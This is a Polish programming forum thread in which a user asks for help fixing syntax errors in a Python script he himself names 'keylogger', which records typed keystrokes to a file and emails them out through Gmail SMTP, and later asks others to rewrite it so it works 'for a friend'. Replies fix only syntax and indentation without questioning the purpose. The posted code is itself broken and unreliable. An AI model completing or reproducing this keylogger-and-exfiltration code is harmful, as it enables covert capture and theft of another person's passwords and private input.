Wątek przeniesiony 2019-07-01 22:13 z przez cerrato.

Python invalid syntax error przy kompilacji

Odpowiedz Nowy wątek
2019-07-01 21:45

Rejestracja: 1 rok temu

Ostatnio: 3 miesiące temu

0

Witam, podczas kompilacji kodu, wyskakuje error invalid syntax przy for string in . Wie ktoś jak to naprawić?

import threading
import os
import keyboard
import smtplib
from time import sleep

def wyslijzalacznik():
        FILE_NAME="helloworld.txt"
        CLEAR_ONSTARTUP=False
        TERMINATE_KEY="enter"

        if  CLEAR_ONSTARTUP:
                os.remove(FILE_NAME)
                output=open(FILE_NAME, "a")
        for string in  //TUTAJ ERROR
        keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
                output.write(string)
                output.close()
edytowany 1x, ostatnio: hauleth, 2019-07-01 21:52
Pokaż pozostałe 3 komentarze
Ale raczej nie mowimy tutaj o kompilowaniu mimo wszystko - stivens 2019-07-01 22:20
Jeśli Masz na myśli kompilację, jako tłumaczenie do kodu maszynowego to nie, ale generalnie kompilacja to tłumaczenie z języka na język (może być ten sam), więc w takim sensie tak. - lion137 2019-07-01 22:23
Java tez sie do bytecodu kompiluje ale tam juz smialo o kompilacji mozna mowic. Po prostu jest taka troche intuicyjna interpretacja co jest kompilowane a co interpretowane i nie ma chyba co sie nad tym rozwodzic - stivens 2019-07-01 22:26
Java ma JIT, który kompiluje pewne sekwencje byte codu do kodu maszynowego, a niektóre interpretuje, więc w tym sensie Java jest bardziej kompilowana niż Python. - lion137 2019-07-01 22:31
I co wazne statycznie sprawdzana pod wzgledem czesciowej poprawnosci - stivens 2019-07-01 22:33

Pozostało 580 znaków

2019-07-01 21:47
Moderator

Rejestracja: 12 lat temu

Ostatnio: 6 minut temu

0

Po for string in nie może być znaku nowej linii.


Chodzi o // ? - supremeje 2019-07-01 21:49
No to na pewno, bo w Pythonie komentarz to # an nie // - hauleth 2019-07-01 21:52
unindent does not match any outer indentation level Teraz... - supremeje 2019-07-01 21:54

Pozostało 580 znaków

2019-07-01 21:57

Rejestracja: 2 lata temu

Ostatnio: 3 godziny temu

0

Pokaż kod po "poprawce". Sprawdź, czy nie pomieszałeś tabów i spacji przy wcięciach.

Pozostało 580 znaków

2019-07-01 22:01

Rejestracja: 1 rok temu

Ostatnio: 3 miesiące temu

0

I co tu zmienić? :p


import threading
import os
import keyboard
import smtplib
from time import sleep

def keylogger():
        FILE_NAME="helloworld.txt"
        CLEAR_ONSTARTUP=False
        TERMINATE_KEY="enter"

        if  CLEAR_ONSTARTUP:
                os.remove(FILE_NAME)
                output=open(FILE_NAME, "a")

       for string in
       keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
                output.write(string)
                output.close()

def sendmail():

        gmail_user="gmail"
        gmail_password="pass"
        FROM=gmail_user
        TO="gmail"
        Subject="jey"

        sleep(7.0)
        try:
                F=open("helloworld.txt","r")
                TEXT=F.read()
                message="""\From: %S
To: %S
Subject: %S
%S
"""% (FROM, ", ".join(TO), SUBJECT, TEXT)
                except:
                        print"error"
                        try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(gmail_user,gmail_password)
        server.sendmail(FROM, TO, message)
        server.close()
        print "eviado"
                     except:
        print "error"
        os.system("helloworld.txt")

while True:

    if __name__ == "__main__":

        key = threading.Thread(target=hellowr) #Tak wgl...
        mail = threading.Thread(target=sendmail)

        key.start()
        mail.start()

        key.join()
        mail.join()
edytowany 1x, ostatnio: supremeje, 2019-07-01 22:02

Pozostało 580 znaków

2019-07-01 22:02

Rejestracja: 2 lata temu

Ostatnio: 3 godziny temu

powinno być w jednej lini, o tak:
for string in keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
ucięło mi wcięcie, ale wiadomo o co chodzi ;)

edytowany 1x, ostatnio: iksde, 2019-07-01 22:02

Pozostało 580 znaków

2019-07-01 22:04

Rejestracja: 1 rok temu

Ostatnio: 3 miesiące temu

0

Teraz tu przy except: ...

"""% (FROM, ", ".join(TO), SUBJECT, TEXT)
                except:    #THERE
                        print"error"
                        try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()

Pozostało 580 znaków

2019-07-01 22:05

Rejestracja: 3 lata temu

Ostatnio: 10 minut temu

1

Kurcze a juz napisalem ze ta "poprawka" sie pewnie skonczyla na usunieciu komentarza ale usunalem bo nie chcialem byc zlosliwy ;)

:D Nie jestem dobry w Pythonie, ale muszę to skończyć dla kolegi więc jak się już obiecywało to nie wypada wycofać się :p - supremeje 2019-07-01 22:06

Pozostało 580 znaków

2019-07-01 22:07

Rejestracja: 2 lata temu

Ostatnio: 3 godziny temu

1

Musisz popracować nad wcięciami, except musi być na tym samym poziomie, co porzedzające je try. Drugi try/except ma wcięte keywordy zamiast bloku pod nimi - powinno być na odwrót ;) try i except na równi z poprzednimi, a wszystko pod nimi wcięte o jeden poziom więcej.

Pozostało 580 znaków

2019-07-01 22:07

Rejestracja: 3 lata temu

Ostatnio: 10 minut temu

1
supremeje napisał(a):

Teraz tu przy except: ...

"""% (FROM, ", ".join(TO), SUBJECT, TEXT)
                except:    #THERE
                        print"error"
                        try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()

Brak spacji po print, zla indentacja po try (ten try ma byc w except?) [zle wciecia w ogole*]

edytowany 1x, ostatnio: stivens, 2019-07-01 22:08
Co do print to python 2 czy 3? I czemu 2? - stivens 2019-07-01 22:10

Pozostało 580 znaków

2019-07-01 22:12

Rejestracja: 1 rok temu

Ostatnio: 3 miesiące temu

0

Dobra, może ktoś chciałby "przerobić" ten kod, aby działał i wysyłał na email? :p Bo coś czuję, że będzie jeszcze min.20 postów...

Pozostało 580 znaków

2019-07-01 22:16

Rejestracja: 1 rok temu

Ostatnio: 3 miesiące temu

0

Z kodem wszystko chyba ok. Dodałem () w print "error" -print ("error") wszystko wyrównałem do lewej. Ale teraz po uruchomieniu Wyświetla mi się 2x error i nic nie dostaję na email......

Jak z nawiasami to spacja zbedna. Z telefonu Ci nie naprawie. Wyrownanie wszystkiego do lewej brzmi jak bardzo zly pomysl xd - stivens 2019-07-01 22:19
Jak będziesz miał dostęp do PC zobaczysz co da się zrobić? Byłbym bardzoo wdzięczny :p - supremeje 2019-07-01 22:21

Pozostało 580 znaków

Odpowiedz

1 użytkowników online, w tym zalogowanych: 0, gości: 1, botów: 0